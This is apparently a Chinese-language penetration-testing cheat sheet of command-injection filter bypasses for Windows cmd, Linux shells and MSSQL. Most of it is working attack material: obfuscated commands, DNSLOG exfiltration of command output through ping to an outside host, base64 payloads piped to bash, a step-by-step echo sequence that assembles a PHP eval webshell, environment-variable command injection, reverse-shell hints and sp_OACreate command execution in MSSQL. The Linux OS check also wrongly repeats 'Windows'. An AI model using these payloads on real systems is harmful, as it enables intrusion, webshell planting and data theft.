各种bypass参考文章
https://xz.aliyun.com/t/15

判断windows还是linux

windows
ping -n 4 dnslog.cn
如果成功接收到消息就是Windows
Linux
ping -c 4 dnslog.cn
如果成功接收到消息就是Windows

1、windows的特性

基于windows的特性,双引号不会影响命令的执行,而^会一定程度的影响命令执行,但是单独使用的时候也是正常的。
因此:
w”””””””””””””hoami //正常执行
w”””””””””””””hoa^m””i //正常执行
w”””””””””””””hoa^^m””i //执行错误
(wh^”””o^a^m^i) //正常执行
w””hoa^mi
image.png

2、利用set

set a=who&& set b=ami && call %a%%b%
image.png

3、寻找windows路径%解析

windows 默认存在一些环境变量可以使用%%的方式来进行解析
如:%username%
%SystemRoot%
%temp%
%CommonProgramFiles%
%ProgramFiles%
who%ALLUSERSPROFILE:~8,1%mi

4、windows bypass 空格绕过

net%CommonProgramFiles:~10,1%user
也就是%CommonProgramFiles:~10,1% 意味着空格
image.png
原因是因为%CommonProgramFiles%中在window的路径就是如下(win+r)输入
image.png

5、windows下的通配符

打开C:\Windows\System32\calc.exe
^p^o^w^e^r^s^h^e^l^l;;; C:**2\ca?c.e?e
打开system32下的cmd.exe
powershell C:**2\n??ed.?

6、windows的tips

  1. netstat -ano ————————》 netstat /ano
  2. ping /n 1 127.0.0.1————》 ping /n 1 127.0.0.1
  3. netstat/ano 少了个空格
  4. ipconfig/all 少了个空格
  5. dir,c:\ 空格替换成,
  6. dir;c:\ 空格替换成;
  7. ping/n 1 127.0.0.1
  8. ^n^e^t^s^t^a^t/ano
  9. ^n^e^t u^s^e^r test 123456 /^a^d^d
  10. @netstat/ano
  11. ((ping/n^ ^1/ 127.0.0.1))
  12. ((p"in"g/"n^" ^1/ "12"7.0".0"."1"))
  13. dir,c:\"w""""i""""n""""d""""o""""w"""s
  14. dir;c:\"w""""i""""n""""d""""o""""w"""s

7、Invoke-Obfuscation

使用示例
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

Tutorial——相当于help
image.png

  1. # 三种混淆方式
  2. BINARY
  3. ENCODING
  4. PAYLOAD
  5. #使用示例
  6. set command ipconfig && calc //设置命令
  7. encoding //编码方式选择encoding
  8. 2 //encoding 的第二种类型
  9. exec //编码完先执行一下
  10. back //返回
  11. payload //编码方式选择payload
  12. forcode //编码方式选择forcode循环
  13. 1 //编码方式选择forcode循环的第1种类型
  14. exec //编码完先执行一下
  15. copy //复制

image.png

8、无回显DNSLOG带出

for /F “delims=\” %i in (‘whoami’) do ping -n 1 %i.zzmjk8.ceye.io

查看当前路径
%CD%

https://blog.csdn.net/Appleteachers/article/details/117119343?

Linux

1、分号

1、ping www; whoami 当前面命令执行的时候,分号后面也会一起执行,不论前面有无执行
image.png

2、拼接命令及环境变量

t=l; j=s; i=” -al”; $t$j$i 还有一个更常用的,就是拼接命令,然后$符号进行命令调用
image.png
拼接环境变量${PATH:0:1}
a=g;pin$a -c 1 127.0.0.1
a=i;p${a}ng -c 1 127.0.0.1
{cat,${PATH:0:1}etc${HOME:0:1}issue}

3、利用whois 命令传输命令到nc服务器
image.png
image.png

3、利用特殊符号

  1. 反斜杠\ 可以当做空字符
  2. 问号? 在字符串里可以当做任何字符
  3. $跟字符 变量赋值,如果不再调用也可以当做空字符 字符有一定限制

ca\t /et?/p\a\ss$@wd
wh\oami
wh$1oami
who$@ami
whoa$*mi
image.png
同理可得
?在linux代表一个字符 注意是字符 不是命令
在linux代表多个字符 注意是字符 不是命令
那么就很好组合起来了
**/?
?n/i\fi?
image.png
那么同样的这是属于正则匹配的一种绕过,因此还有
cat /e[a-z]c/pa[a-z]swd
image.png
同样的,特殊符号也包括单引号与双引号
ca${9}t /e’t’c/p”asswd”
在这里利用${9}来代表空字符串,同样的这个数字9可以用其他数字来代替**
image.png

4、反引号

通过反引号,可以将一些无关的字符夹在在其中,造成混淆的作用
w\saldkj2190ho\12wsa2am\foj11i
image.png
image.png

echo ifconfig
image.png

5、来bypass空格

1 花括号
{ls,-alt}
image.png
{cat,/etc/passwd}
image.png
2 重定向符号<>
cat</etc/passwd
image.png
对于cat来说,执行效果是一样的,但是实现原理却完全不一样
cat a.txt : cat 程序读a.txt文件,并把它显示出来,cat获取到的是一个a.txt文件名
cat < a.txt : cat程序 显示 a.txt文件的内容 ,cat程序获取的不是文件名,而是a.txt的内容

3 $IFS
image.png

6、利用base64以及一些编码

1、base64
echod2hvYW1pCg==|base64 -d`` 记得加反引号
image.png
echo “aWZjb25maWc=”|base64 -d |bash

2、倒叙
echo "imaohw" | rev
image.png

3、 利用echo 写shell
echo “<?php @eval($_POST[123]);?>” | base64
//输出一句话的base64编码
image.png
然后分别赋值给各个文件,echo -n 不会换行
echo -n PD>a;
echo -n 9w>b;
echo -n aH>c;
echo -n Ag>d;
echo -n QG>e;
echo -n V2>f;
echo -n YW>g;
echo -n wo>h;
echo -n JF>i;
echo -n 9Q>j;
echo -n T1>k;
echo -n NU>l;
echo -n Wz>m;
echo -n Ey>n;
echo -n M1>o;
echo -n 0p>p;
echo -n Oz>q;
echo -n 8+>r;

将各个文件拼接
cat a b>s;
cat s c>b;
cat b d>s;
cat s e>a;
cat a f>s;
cat s g>a;
cat a h>s;
cat s i>a;
cat a j>s;
cat s k>a;
cat a l>s;
cat s m>a;
cat a n>s;
cat s o>a;
cat a p>s;
cat s q>a;
cat a r>s;

base64解码一下,然后重新生成一个文件到Php,成为一个php木马
base64 -d s>z;
cp z tj.php;

7、利用History特性

mi
whoa
!-1!-2
可以看到成功执行了whoami命令
image.png

8、究极混淆

1、whoami
2、echo ‘who’’ami’ | bash
3、e\cho $’\x77ho$’\u0000’ami’ | bash
4、e\cho $’\x77ho$’\u0000’ami’ | $(echo hsab| rev)
5、e\cho $’\x77ho$’\u0000’ami’ | $(echo $(echo aHMK|base64 -d)ab| rev)
image.png

9、一些变量的注入

BASH_ENV:可以在bash -c的时候注入任意命令
BASH_ENV=’$(id 1>&2)’ bash -c ‘echo hello’

ENV:可以在sh -i -c的时候注入任意命令
ENV=’$(id 1>&2)’ sh -i -c “echo hello”

PS1:可以在sh或bash交互式环境下执行任意命令
PS1=’$(id)’ sh

PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
PROMPT_COMMAND=’id’ bash

BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令
env $’BASH_FUNC_echo%%=() { id; }’ bash -c ‘echo hello’
env $’BASH_FUNC_echo()=() { id; }’ bash -c ‘echo hello’

不过我感觉有Bash这个命令就很难搞了

命令执行无回显

curl xxxxxxxxxx whoami 那么此时会先执行命令whoami
image.png
那么此时可以会进行拼接,到curl的路径上
image.png
反弹shell
其实本质就是在``反引号的时候,先执行了命令,那么自然也就能反弹Shell了
image.png
image.png

通用绕过思路——程序重命名

linux 修改ping命令
cp /usr/bin/ping /tmp/p
/tmp/./p -c 1 127.0.0.1

执行bash或cmd
cp /bin/bash /tmp/b
copy C:\Windows\System32\cmd.exe 1.exe
image.png

MSSQL

注入遇到杀软
create table tmp(dir ntext,num int)创建表,
然后用insert tmp execute master..xp_dirtree ‘c:/‘,1将c盘目录插入到tmp表里,这样就可以获取到C盘的文件,以此来探测路径

xp_cmdshell被禁用
https://www.jianshu.com/p/e79d2a42338b
开启sp_oacreate

  1. exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE

构造命令语句,因为使用sp_oacreate执行命令是无回显的,使用dnslog平台进行判断:

  1. Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';